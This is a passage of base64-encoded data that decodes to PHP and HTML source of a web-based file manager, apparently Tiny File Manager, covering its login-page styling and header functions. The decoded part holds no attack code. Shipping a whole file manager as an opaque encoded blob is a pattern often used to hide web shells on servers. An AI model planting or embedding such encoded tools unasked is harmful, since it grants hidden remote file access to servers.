2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDL3BhdGglM0UlM0Mvc3ZnJTNFIik7fQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZHsgd2lkdGg6MTIxcHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbjowIGF1dG87cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDoxfQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCBpbWd7IHdpZHRoOjEwMCV9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlcnsgd2lkdGg6MzYwcHg7bWFyZ2luLXRvcDoxMCU7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmR7IGJvcmRlci1jb2xvcjp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgNHB4IDhweCByZ2JhKDAsMCwwLC4wNSl9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtdGl0bGV7IG1hcmdpbi1ib3R0b206MS41cmVtO2ZvbnQtc2l6ZToyNHB4O2ZvbnQtd2VpZ2h0OjQwMDt9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tY29udHJvbHsgYm9yZGVyLXdpZHRoOjIuM3B4fQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWdyb3VwIGxhYmVseyB3aWR0aDoxMDAlfQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NreyBwYWRkaW5nOjEycHggMTBweH0KICAgICAgICAuZm0tbG9naW4tcGFnZSAuZm9vdGVyeyBtYXJnaW46NDBweCAwO2NvbG9yOiM4ODg7dGV4dC1hbGlnbjpjZW50ZXJ9CiAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDo0MjVweCl7IAogICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyeyB3aWR0aDo5MCU7bWFyZ2luOjAgYXV0bzttYXJnaW4tdG9wOjEwJTt9CiAgICAgICAgfQogICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpeyAKICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0eyBwYWRkaW5nOjB9CiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLmZhdCAuY2FyZC1ib2R5eyBwYWRkaW5nOjE1cHh9CiAgICAgICAgfQogICAgICAgIC5tZXNzYWdleyBwYWRkaW5nOjRweCA3cHg7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQtY29sb3I6I2ZmZn0KICAgICAgICAubWVzc2FnZS5va3sgYm9yZGVyLWNvbG9yOmdyZWVuO2NvbG9yOmdyZWVufQogICAgICAgIC5tZXNzYWdlLmVycm9yeyBib3JkZXItY29sb3I6cmVkO2NvbG9yOnJlZH0KICAgICAgICAubWVzc2FnZS5hbGVydHsgYm9yZGVyLWNvbG9yOm9yYW5nZTtjb2xvcjpvcmFuZ2V9CiAgICAgICAgYm9keS5mbS1sb2dpbi1wYWdlLnRoZW1lLWRhcmsge2JhY2tncm91bmQtY29sb3I6ICMyZjJhMmE7fQogICAgICAgIC50aGVtZS1kYXJrIHN2ZyBnLCAudGhlbWUtZGFyayBzdmcgcGF0aCB7ZmlsbDogI2ZmZmZmZjsgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keSBjbGFzcz0iZm0tbG9naW4tcGFnZSA8P3BocCBlY2hvIChGTV9USEVNRSA9PSAiZGFyayIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+Ij4KPGRpdiBpZD0id3JhcHBlciIgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCI+CgogICAgPD9waHAKICAgIH0KCiAgICAvKioKICAgICAqIFNob3cgcGFnZSBmb290ZXIgaW4gTG9naW4gRm9ybQogICAgICovCiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpCiAgICB7CiAgICA/Pgo8L2Rpdj4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuNS4xL2pxdWVyeS5zbGltLm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC80LjUuMC9qcy9ib290c3RyYXAubWluLmpzIj48L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCn0KCi8qKgogKiBTaG93IEhlYWRlciBhZnRlciBsb2dpbgogKi8KZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKQp7CiRzcHJpdGVzX3ZlciA9ICcyMDE2MDMxNSc7CmhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsKaGVhZGVyKCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIik7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoKZ2xvYmFsICRsYW5nLCAkcm9vdF91cmwsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoOwokaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnOwo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWw+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIj4KICAgIDxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyIj4KICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iQ0NQIFByb2dyYW1tZXJzIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0iZ29vZ2xlYm90IiBjb250ZW50PSJub2luZGV4Ij4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iPD9waHAgZWNobyBmbV9lbmMoJGZhdmljb25fcGF0aCkgPz4iIHR5cGU9ImltYWdlL3BuZyI+CiAgICA8dGl0bGU+PD9waHAgZWNobyBmbV9lbmMoQVBQX1RJVExFKSA/PjwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuNS4wL2Nzcy9ib290c3RyYXAubWluLmNzcyI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS80LjcuMC9jc3MvZm9udC1hd2Vzb21lLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9la2tvLWxpZ2h0Ym94LzUuMy4wL2Vra28tbGlnaHRib3guY3NzIiAvPgogICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyk6ID8+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2hpZ2hsaWdodC5qcy8xMC4wLjMvc3R5bGVzLzw/cGhwIGVjaG8gRk1fSElHSExJR0hUSlNfU1RZTEUgPz4ubWluLmNzcyI+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsgZm9udC1zaXplOjE0cHg7Y29sb3I6IzIyMjtiYWNrZ3JvdW5kOiNGN0Y3Rjc7IH0KICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7IG1hcmdpbi10b3A6NTVweDsgfQogICAgICAgIGE6aG92ZXIsIGE6dmlzaXRlZCwgYTpmb2N1cyB7IHRleHQtZGVjb3JhdGlvbjpub25lICFpbXBvcnRhbnQ7IH0KICAgICAgICAqIHsgLXdlYmtpdC1ib3JkZXItcmFkaXVzOjAgIWltcG9ydGFudDstbW96LWJvcmRlci1yYWRpdXM6MCAhaW1wb3J0YW50O2JvcmRlci1yYWRpdXM6MCAhaW1wb3J0YW50OyB9CiAgICAgICAgLmZpbGVuYW1lLCB0ZCwgdGggeyB3aGl0ZS1zcGFjZTpub3dyYXAgIH0KICAgICAgICAubmF2YmFyLWJyYW5kIHsgZm9udC13ZWlnaHQ6Ym9sZDsgfQogICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYSB7IGN1cnNvcjpwb2ludGVyO3RleHQtdHJhbnNmb3JtOmNhcGl0YWxpemU7IH0KICAgICAgICAubmF2LWl0ZW0uYXZhdGFyIGEgPiBpIHsgZm9udC1zaXplOjE1cHg7IH0KICAgICAgICAubmF2LWl0ZW0uYXZhdGFyIC5kcm9wZG93bi1tZW51IGEgeyBmb250LXNpemU6MTNweDsgfQogICAgICAgICNzZWFyY2gtYWRkb24geyBmb250LXNpemU6MTJweDtib3JkZXItcmlnaHQtd2lkdGg6MDsgfQogICAgICAgICNzZWFyY2gtYWRkb24yIHsgYmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3JkZXItbGVmdDowOyB9CiAgICAgICAgLmJyZWFkLWNydW1iIHsgY29sb3I6I2NjY2NjYztmb250LXN0eWxlOm5vcm1hbDsgfQogICAgICAgICNtYWluLXRhYmxlIC5maWxlbmFtZSBhIHsgY29sb3I6IzIyMjIyMjsgfQogICAgICAgIC50YWJsZSB0ZCwgLnRhYmxlIHRoIHsgdmVydGljYWwtYWxpZ246bWlkZGxlICFpbXBvcnRhbnQ7IH0KICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LCAudGFibGUgLmN1c3RvbS1jaGVja2JveC1oZWFkZXIgLmN1c3RvbS1jb250cm9sLmN1c3RvbS1jaGVja2JveCB7IG1pbi13aWR0aDoxOHB4OyB9CiAgICAgICAgLnRhYmxlLXNtIHRkLCAudGFibGUtc20gdGggeyBwYWRkaW5nOi40cmVtOyB9CiAgICAgICAgLnRhYmxlLWJvcmRlcmVkIHRkLCAudGFibGUtYm9yZGVyZWQgdGggeyBib3JkZXI6MXB4IHNvbGlkICNmMWYxZjE7IH0KICAgICAgICAuaGlkZGVuIHsgZGlzcGxheTpub25lICB9CiAgICAgICAgcHJlLndpdGgtaGxqcyB7IHBhZGRpbmc6MCAgfQogICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7IG1hcmdpbjowO2JvcmRlcjowO292ZXJmbG93OnZpc2libGUgIH0KICAgICAgICBjb2RlLm1heGhlaWdodCwgcHJlLm1heGhlaWdodCB7IG1heC1oZWlnaHQ6NTEycHggIH0KICAgICAgICAuZmEuZmEtY2FyZXQtcmlnaHQgeyBmb250LXNpemU6MS4yZW07bWFyZ2luOjAgNHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtjb2xvcjojZWNlY2VjICB9CiAgICAgICAgLmZhLmZhLWhvbWUgeyBmb250LXNpemU6MS4zZW07dmVydGljYWwtYWxpZ246Ym90dG9tICB9CiAgICAgICAgLnBhdGggeyBtYXJnaW4tYm90dG9tOjEwcHggIH0KICAgICAgICBmb3JtLmRyb3B6b25lIHsgbWluLWhlaWdodDoyMDBweDtib3JkZXI6MnB4IGRhc2hlZCAjMDA3YmZmO2xpbmUtaGVpZ2h0OjZyZW07IH0KICAgICAgICAucmlnaHQgeyB0ZXh0LWFsaWduOnJpZ2h0ICB9CiAgICAgICAgLmNlbnRlciwgLmNsb3NlLCAubG9naW4tZm9ybSB7IHRleHQtYWxpZ246Y2VudGVyICB9CiAgICAgICAgLm1lc3NhZ2UgeyBwYWRkaW5nOjRweCA3cHg7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQtY29sb3I6I2ZmZiAgfQogICAgICAgIC5tZXNzYWdlLm9rIHsgYm9yZGVyLWNvbG9yOmdyZWVuO2NvbG9yOmdyZWVuICB9CiAgICAgICAgLm1lc3NhZ2UuZXJyb3IgeyBib3JkZXItY29sb3I6cmVkO2NvbG9yOnJlZCAgfQogICAgICAgIC5tZXNzYWdlLmFsZXJ0IHsgYm9yZGVyLWNvbG9yOm9yYW5nZTtjb2xvcjpvcmFuZ2UgIH0KICAgICAgICAucHJldmlldy1pbWcgeyBtYXgtd2lkdGg6MTAwJTtiYWNrZ3JvdW5kOnVybChkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQUlBQUFDUWtXZzJBQUFBS2tsRVFWUjQybUw1Ly84L0F6YncrUEZqck9KTURDU0NVUTNFQUJaYzRTMHJLenNhU3ZUVEFCQmdBTXlmQ01zWTRCOWlBQUFBQUVsRlRrU3VRbUNDKSAgfQogICAgICAgIC5pbmxpbmUtYWN0aW9ucyA+IGEgPiBpIHsgZm9udC1zaXplOjFlbTttYXJnaW4tbGVmdDo1cHg7YmFja2dyb3VuZDojMzc4NWMxO2NvbG9yOiNmZmY7cGFkZGluZzozcHg7Ym9yZGVyLXJhZGl1czozcHggIH0KICAgICAgICAucHJldmlldy12aWRlbyB7IHBvc2l0aW9uOnJlbGF0aXZlO21heC13aWR0aDoxMDAlO2hlaWdodDowO3BhZGRpbmctYm90dG9tOjYyLjUlO21hcmdpbi1ib3R0b206MTBweCAgfQogICAgICAgIC5wcmV2aWV3LXZpZGVvIHZpZGVvIHsgcG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtsZWZ0OjA7dG9wOjA7YmFja2dyb3VuZDojMDAwICB9CiAgICAgICAgLmNvbXBhY3QtdGFibGUgeyBib3JkZXI6MDt3aWR0aDphdXRvICB9CiAgICAgICAgLmNvbXBhY3QtdGFibGUgdGQsIC5jb21wYWN0LXRhYmxlIHRoIHsgd2lkdGg6MTAwcHg7Ym9yZGVyOjA7dGV4dC1hbGlnbjpjZW50ZXIgIH0KICAgICAgICAuY29tcGFjdC10YWJsZSB0cjpob3ZlciB0ZCB7IGJhY2tncm91bmQtY29sb3I6I2ZmZiAgfQogICAgICAgIC5maWxlbmFtZSB7IG1heC13aWR0aDo0MjBweDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpcyAgfQogICAgICAgIC5icmVhay13b3JkIHsgd29yZC13cmFwOmJyZWFrLXdvcmQ7bWFyZ2luLWxlZnQ6MzBweCAgfQogICAgICAgIC5icmVhay13b3JkLmZsb2F0LWxlZnQgYSB7IGNvbG9yOiM3ZDdkN2QgIH0KICAgICAgICAuYnJlYWstd29yZCArIC5mbG9hdC1yaWdodCB7IHBhZGRpbmctcmlnaHQ6MzBweDtwb3NpdGlvbjpyZWxhdGl2ZSAgfQogICAgICAgIC5icmVhay13b3JkICsgLmZsb2F0LXJpZ2h0ID4gYSB7IGNvbG9yOiM3ZDdkN2Q7Zm9udC1zaXplOjEuMmVtO21hcmdpbi1yaWdodDo0cHggIH0KICAgICAgICAjZWRpdG9yIHsgcG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MTVweDt0b3A6MTAwcHg7Ym90dG9tOjE1cHg7bGVmdDoxNXB4ICB9CiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6NDgxcHgpIHsgCiAgICAgICAgICAgICNlZGl0b3IgeyB0b3A6MTUwcHg7IH0KICAgICAgICB9CiAgICAgICAgI25vcm1hbC1lZGl0b3IgeyBib3JkZXItcmFkaXVzOjNweDtib3JkZXItd2lkdGg6MnB4O3BhZGRpbmc6MTBweDtvdXRsaW5lOm5vbmU7IH0KICAgICAgICAuYnRuLTIgeyBib3JkZXItcmFkaXVzOjA7cGFkZGluZzozcHggNnB4O2ZvbnQtc2l6ZTpzbWFsbDsgfQogICAgICAgIGxpLmZpbGU6YmVmb3JlLGxpLmZvbGRlcjpiZWZvcmUgeyBmb250Om5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHgvMSBGb250QXdlc29tZTtjb250ZW50OiJcZjAxNiI7bWFyZ2luLXJpZ2h0OjVweCB9CiAgICAgICAgbGkuZm9sZGVyOmJlZm9yZSB7IGNvbnRlbnQ6IlxmMTE0IiB9CiAgICAgICAgaS5mYS5mYS1mb2xkZXItbyB7IGNvbG9yOiMwMTU3YjMgfQogICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHsgY29sb3I6IzI2Yjk5YSB9CiAgICAgICAgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7IGNvbG9yOiNkYTdkN2QgfQogICAgICAgIC5idG4tMiBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHsgY29sb3I6aW5oZXJpdCB9CiAgICAgICAgaS5mYS5mYS1jc3MzIHsgY29sb3I6I2YzNmZhMCB9CiAgICAgICAgaS5mYS5mYS1maWxlLWNvZGUtbyB7IGNvbG9yOiMwMDdiZmYgfQogICAgICAgIGkuZmEuZmEtY29kZSB7IGNvbG9yOiNjYzRiNGMgfQogICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8geyBjb2xvcjojMDA5NmU2IH0KICAgICAgICBpLmZhLmZhLWh0bWw1IHsgY29sb3I6I2Q3NWU3MiB9CiAgICAgICAgaS5mYS5mYS1maWxlLWV4Y2VsLW8geyBjb2xvcjojMDljNTVkIH0KICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHsgY29sb3I6I2Y2NzEyZSB9CiAgICAgICAgaS5nby1iYWNrIHsgZm9udC1zaXplOjEuMmVtO2NvbG9yOiMwMDdiZmY7IH0KICAgICAgICAubWFpbi1uYXYgeyBwYWRkaW5nOjAuMnJlbSAxcmVtO2JveC1zaGFkb3c6MCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKSAgfQogICAgICAgIC5kYXRhVGFibGVzX2ZpbHRlciB7IGRpc3BsYXk6bm9uZTsgfQogICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7IGN1cnNvcjpwb2ludGVyO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlciByaWdodDtiYWNrZ3JvdW5kLWltYWdlOnVybCgnZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FRQUFBRFlXZjVIQUFBQWtFbEVRVlFvejdYUU1RNUFRQkNGNGRXUVNKeEM1d3dheDFDcTFlN0JBZHhENVNMK1RxL1FDTTFvTmlKaWR3b3gwMzU1bVhuRy9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTsgfQogICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19hc2MgeyBjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXIgcmlnaHQ7YmFja2dyb3VuZC1pbWFnZTp1cmwoJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzUy9nRGliVW9PMGdQZ3hFUDhINHR0QXJFeXVRWXhBUEJkcUVBeFBCSW1UWTVnakVMOURNK3dURU51UWFoQXZFTzlETXdpR2R3QXhPeW1HSlFMeFR5RCtqZ1dEeENNWlJzRW9HQVZvQUFEZWVtd3RQY1pJMndBQUFBQkpSVTVFcmtKZ2dnPT0nKTsgfQogICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHsgY3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyIHJpZ2h0O2JhY2tncm91bmQtaW1hZ2U6dXJsKCdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJNQUFBQVRDQVlBQUFCeVVEYk1BQUFBWlVsRVFWUTR5Mk5nR0FXallCU2dnYXFHdTVGQS9CT0l2MlBCSVBGRVVneGpCK0lkUVB3ZkM5NEh4THlrdXM0R2lEK2hHZlFPaUIzSjhTb2pFRTlFTTJ3dVNKemNzRk1HNHR0UWd4NERzUmFsa1pFTnhMK0F1SlFhTWNzR3hCT0FtR3ZvcGs4QVZ6MXNMWmdnMGJzQUFBQUFTVVZPUks1Q1lJST0nKTsgfQogICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCB0cjpmaXJzdC1jaGlsZCB0aC5jdXN0b20tY2hlY2tib3gtaGVhZGVyOmZpcnN0LWNoaWxkIHsgYmFja2dyb3VuZC1pbWFnZTpub25lOyB9CiAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkgeyBtYXJnaW4tYm90dG9tOjEwcHg7IH0KICAgICAgICAuYXBwLXYtdGl0bGUgeyBmb250LXNpemU6MjRweDtmb250LXdlaWdodDozMDA7bGV0dGVyLXNwYWNpbmc6LS41cHg7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlOyB9CiAgICAgICAgaHIuY3VzdG9tLWhyIHsgYm9yZGVyLXRvcDoxcHggZGFzaGVkICM4YzhiOGI7Ym9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNmZmY7IH0KICAgICAgICAuZWtrby1saWdodGJveCAubW9kYWwtZGlhbG9nIHsgbWF4LXdpZHRoOjk4JTsgfQogICAgICAgIC5la2tvLWxpZ2h0Ym94LWl0ZW0uZmFkZS5pbi5zaG93IC5yb3cgeyBiYWNrZ3JvdW5kOiNmZmY7IH0KICAgICAgICAuZWtrby1saWdodGJveC1uYXYtb3ZlcmxheSB7IGRpc3BsYXk6ZmxleCAhaW1wb3J0YW50O29wYWNpdHk6MSAhaW1wb3J0YW50O2hlaWdodDphdXRvICFpbXBvcnRhbnQ7dG9wOjUwJTsgfQogICAgICAgIC5la2tvLWxpZ2h0Ym94LW5hdi1vdmVybGF5IGEgeyBvcGFjaXR5OjEgIWltcG9ydGFudDt3aWR0aDphdXRvICFpbXBvcnRhbnQ7dGV4dC1zaGFkb3c6bm9uZSAhaW1wb3J0YW50O2NvbG9yOiMzQjNCM